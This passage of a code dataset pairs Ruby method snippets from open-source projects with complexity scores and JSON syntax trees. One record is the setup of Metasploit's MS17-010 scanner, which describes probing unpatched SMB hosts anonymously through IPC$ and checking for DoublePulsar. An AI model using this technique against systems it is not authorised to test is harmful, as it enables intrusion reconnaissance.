end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"child_attributes\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child_attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"include?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_attribute\"]}]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scoped\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variable\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scoped\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_duplicates\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_duplicates\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"1430580a-8b74-40bb-ae13-c5d4ff0bb1c3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/collection_association.rb","start_line":172,"raw_source":"def destroy_all\n        destroy(load_target).tap do\n          reset\n          loaded!\n        end\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroy\",{\"type\":\"send\",\"children\":[null,\"load_target\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset\"]},{\"type\":\"send\",\"children\":[null,\"loaded!\"]}]}]}]}","id":"9b00c8ff-24cd-4598-85c6-f27c772cebc4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/relative_positioning/item_context.rb","start_line":25,"raw_source":"def positioned?\n        relative_position.present?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"positioned?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relative_position\"]},\"present?\"]}]}","id":"053d7cd6-8940-4c50-97cc-c2ca0e232c62"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/cooked_processor_mixin.rb","start_line":128,"raw_source":"def post_process_images\n    extract_images.each do |img|\n      still_an_image = process_hotlinked_image(img)\n      convert_to_link!(img) if still_an_image\n    end\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"post_process_images\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_images\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"img\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"still_an_image\",{\"type\":\"send\",\"children\":[null,\"process_hotlinked_image\",{\"type\":\"lvar\",\"children\":[\"img\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"still_an_image\"]},{\"type\":\"send\",\"children\":[null,\"convert_to_link!\",{\"type\":\"lvar\",\"children\":[\"img\"]}]},null]}]}]}]}","id":"2aeb8e23-c552-4ed6-948b-4f29eec67ff4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/validator/nextcloud_compatible_host_validator.rb","start_line":59,"raw_source":"def check_capabilities_response(response)\n    return :cannot_be_connected_to if response.error.present?\n    return :cannot_be_connected_to unless response.status.in? 200..299\n    return :not_nextcloud_server unless read_version(response)\n    return :minimal_nextcloud_version_unmet unless major_version_sufficient?(response)\n\n    nil\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_capabilities_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"error\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"cannot_be_connected_to\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]},\"in?\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"cannot_be_connected_to\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_version\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"not_nextcloud_server\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"major_version_sufficient?\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimal_nextcloud_version_unmet\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"594c5757-9ec6-4b80-895d-e3713a10084d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/application_worker.rb","start_line":123,"raw_source":"def set_queue\n      queue_name = ::Gitlab::SidekiqConfig::WorkerRouter.global.route(self)\n      sidekiq_options queue: queue_name # rubocop:disable Cop/SidekiqOptionsQueue\n\n      store_name = ::Gitlab::SidekiqConfig::WorkerRouter.global.store(self)\n      sidekiq_options store: store_name\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_queue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"queue_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"SidekiqConfig\"]},\"WorkerRouter\"]},\"global\"]},\"route\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"sidekiq_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"lvar\",\"children\":[\"queue_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"store_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"SidekiqConfig\"]},\"WorkerRouter\"]},\"global\"]},\"store\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"sidekiq_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"store\"]},{\"type\":\"lvar\",\"children\":[\"store_name\"]}]}]}]}]}]}","id":"8163f1f3-8de5-44a2-9fc4-4fc354c8c0cc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/smb/smb_ms17_010.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'MS17-010 SMB RCE Detection',\n        'Description' => %q{\n          Uses information disclosure to determine if MS17-010 has been patched or not.\n          Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0.\n          If the status returned is \"STATUS_INSUFF_SERVER_RESOURCES\", the machine does\n          not have the MS17-010 patch.\n\n          If the machine is missing the MS17-010 patch, the module will check for an\n          existing DoublePulsar (ring 0 shellcode/malware) infection.\n\n          This module does not require valid SMB credentials in default server\n          configurations. It can log on as the user \"\\\" and connect to IPC$.\n        },\n        'Author' => [\n          'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0\n          'Luke Jennings' # DoublePulsar detection Python code\n        ],\n        'References' => [\n          [ 'CVE', '2017-0143'],\n          [ 'CVE', '2017-0144'],\n          [ 'CVE', '2017-0145'],\n          [ 'CVE', '2017-0146'],\n          [ 'CVE', '2017-0147'],\n          [ 'CVE', '2017-0148'],\n          [ 'MSB', 'MS17-010'],\n          [ 'URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],\n          [ 'URL', 'https://github.com/countercept/doublepulsar-detection-script'],\n          [ 'URL', 'https://web.archive.org/web/20170513050203/https://technet.microsoft.com/en-us/library/security/ms17-010.aspx']\n        ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'AKA' => [\n            'DOUBLEPULSAR',\n            'ETERNALBLUE'\n          ],\n          'Stability' => UNKNOWN_STABILITY,\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptBool.new('CHECK_DOPU', [false, 'Check for DOUBLEPULSAR on vulnerable hosts', true]),\n        OptBool.new('CHECK_ARCH', [false, 'Check for architecture on vulnerable hosts', true]),\n        OptBool.new('CHECK_PIPE', [false, 'Check for named pipe on vulnerable hosts', false])\n      ]\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MS17-010 SMB RCE Detection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Uses information disclosure to determine if MS17-010 has been patched or not.\\n\"]},{\"type\":\"str\",\"children\":[\"          Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0.\\n\"]},{\"type\":\"str\",\"children\":[\"          If the status returned is \\\"STATUS_INSUFF_SERVER_RESOURCES\\\", the machine does\\n\"]},{\"type\":\"str\",\"children\":[\"          not have the MS17-010 patch.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          If the machine is missing the MS17-010 patch, the module will check for an\\n\"]},{\"type\":\"str\",\"children\":[\"          existing DoublePulsar (ring 0 shellcode/malware) infection.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module does not require valid SMB credentials in default server\\n\"]},{\"type\":\"str\",\"children\":[\"          configurations. It can log on as the user \\\"\\\\\\\" and connect to IPC$.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Sean Dillon <sean.dillon@risksense.com>\"]},{\"type\":\"str\",\"children\":[\"Luke Jennings\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-0143\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-0144\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-0145\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-0146\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-0147\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-0148\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS17-010\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/countercept/doublepulsar-detection-script\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://web.archive.org/web/20170513050203/https://technet.microsoft.com/en-us/library/security/ms17-010.aspx\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DOUBLEPULSAR\"]},{\"type\":\"str\",\"children\":[\"ETERNALBLUE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"CHECK_DOPU\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Check for DOUBLEPULSAR on vulnerable hosts\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"CHECK_ARCH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Check for architecture on vulnerable hosts\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"CHECK_PIPE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Check for named pipe on vulnerable hosts\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"fcad2730-007a-485e-b320-958515a9c2f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/queue/pending_builds_strategy.rb","start_line":69,"raw_source":"def running_builds_for_shared_runners_cte\n        running_builds = ::Ci::RunningBuild\n          .instance_type\n          .group(:project_id)\n          .select(:project_id, 'COUNT(*) AS running_builds')\n\n        ::Gitlab::SQL::CTE\n          .new(:project_builds, running_builds, materialized: true)\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"running_builds_for_shared_runners_cte\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"running_builds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"RunningBuild\"]},\"instance_type\"]},\"group\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"str\",\"children\":[\"COUNT(*) AS running_builds\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"SQL\"]},\"CTE\"]},\"new\",{\"type\":\"sym\",\"children\":[\"project_builds\"]},{\"type\":\"lvar\",\"children\":[\"running_builds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"materialized\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"5b383f50-fdc1-4454-be3a-0c0be000d1b0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/spec/support/pages/team_planner.rb","start_line":294,"raw_source":"def drag_to_remove_dropzone(work_package, expect_removable: true)\n      retry_block do\n        source = event(work_package)\n        start_dragging(source)\n      end\n\n      # Move the footer first to signal we're dragging something\n      footer = find('[data-test-selector=\"op-team-planner-footer\"]')\n      drag_element_to(footer)\n\n      sleep 1\n\n      dropzone = find('[data-test-selector=\"op-team-planner-dropzone\"]')\n      drag_element_to(dropzone)\n\n      if expect_removable\n        expect(page).to have_css(\"span\", text: I18n.t(\"js.team_planner.drag_here_to_remove\"))\n      else\n        expect(page).to have_css(\"span\", text: I18n.t(\"js.team_planner.cannot_drag_here\"))\n      end\n\n      drag_release\n\n      if expect_removable\n        expect_and_dismiss_toaster(message: \"Successful update.\")\n      else\n        expect_no_toaster\n      end\n\n      sleep 1\n      expect_event(work_package, present: !expect_removable)\n    end","complexity_score":35.0,"ast_json":"{\"type\":\"def\",\"children\":[\"drag_to_remove_dropzone\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"kwoptarg\",\"children\":[\"expect_removable\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_block\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[null,\"event\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"send\",\"children\":[null,\"start_dragging\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"footer\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"op-team-planner-footer\\\"]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"drag_element_to\",{\"type\":\"lvar\",\"children\":[\"footer\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"dropzone\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"op-team-planner-dropzone\\\"]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"drag_element_to\",{\"type\":\"lvar\",\"children\":[\"dropzone\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expect_removable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"span\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.team_planner.drag_here_to_remove\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"span\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.team_planner.cannot_drag_here\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"drag_release\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expect_removable\"]},{\"type\":\"send\",\"children\":[null,\"expect_and_dismiss_toaster\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Successful update.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"expect_no_toaster\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"expect_event\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"present\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expect_removable\"]},\"!\"]}]}]}]}]}]}","id":"f41ad687-7258-433e-967a-39908d3410b0"}
{"repo_name":"forem","file_path":"./repos/forem/app/lib/url.rb","start_line":97,"raw_source":"def self.reaction(reaction)\n    url(reaction.reactable.path)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reaction\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reaction\"]}]},{\"type\":\"send\",\"children\":[null,\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction\"]},\"reactable\"]},\"path\"]}]}]}","id":"a19fa7c5-7e39-47c2-b2af-96ddae30cf78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/atomic_internal_id.rb","start_line":210,"raw_source":"def internal_id_scope_attrs(scope)\n    scope_value = internal_id_read_scope(scope)\n\n    ::AtomicInternalId.scope_attrs(scope_value)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"internal_id_scope_attrs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope_value\",{\"type\":\"send\",\"children\":[null,\"internal_id_read_scope\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"AtomicInternalId\"]},\"scope_attrs\",{\"type\":\"lvar\",\"children\":[\"scope_value\"]}]}]}]}","id":"9a2e9e02-0d86-4056-91b3-fdb88997f329"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/preloader/branch.rb","start_line":144,"raw_source":"def preloader_for(reflection)\n            if reflection.options[:through]\n              ThroughAssociation\n            else\n              Association\n            end\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"preloader_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reflection\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"through\"]}]},{\"type\":\"const\",\"children\":[null,\"ThroughAssociation\"]},{\"type\":\"const\",\"children\":[null,\"Association\"]}]}]}","id":"73b7e54d-2fd8-4f50-b3c5-6aede69d3512"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_trigger_service.rb","start_line":78,"raw_source":"def job_from_token\n      strong_memoize(:job) do\n        Ci::AuthJobFinder.new(token: params[:token].to_s).execute!\n      end\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"job_from_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"job\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"AuthJobFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]},\"to_s\"]}]}]}]},\"execute!\"]}]}]}","id":"902a3381-ee60-453a-ba65-dc6d175d981f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/experiments_test_coverage.rb","start_line":24,"raw_source":"def on_block(node)\n        return unless node.method?(:experiment)\n        return if covered_with_tests?(node)\n\n        add_offense(node, message: BLOCK_OFFENSE)\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"experiment\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"covered_with_tests?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"BLOCK_OFFENSE\"]}]}]}]}]}]}","id":"44dc5f46-df6a-4ea9-bcd8-db024d47ef5c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_before_comment.rb","start_line":20,"raw_source":"def on_new_investigation\n          processed_source.sorted_tokens.each_cons(2) do |token1, token2|\n            next unless token2.comment?\n            next unless same_line?(token1, token2)\n            next unless token1.pos.end == token2.pos.begin\n\n            range = token2.pos\n\n            add_offense(range) { |corrector| corrector.insert_before(range, ' ') }\n          end\n        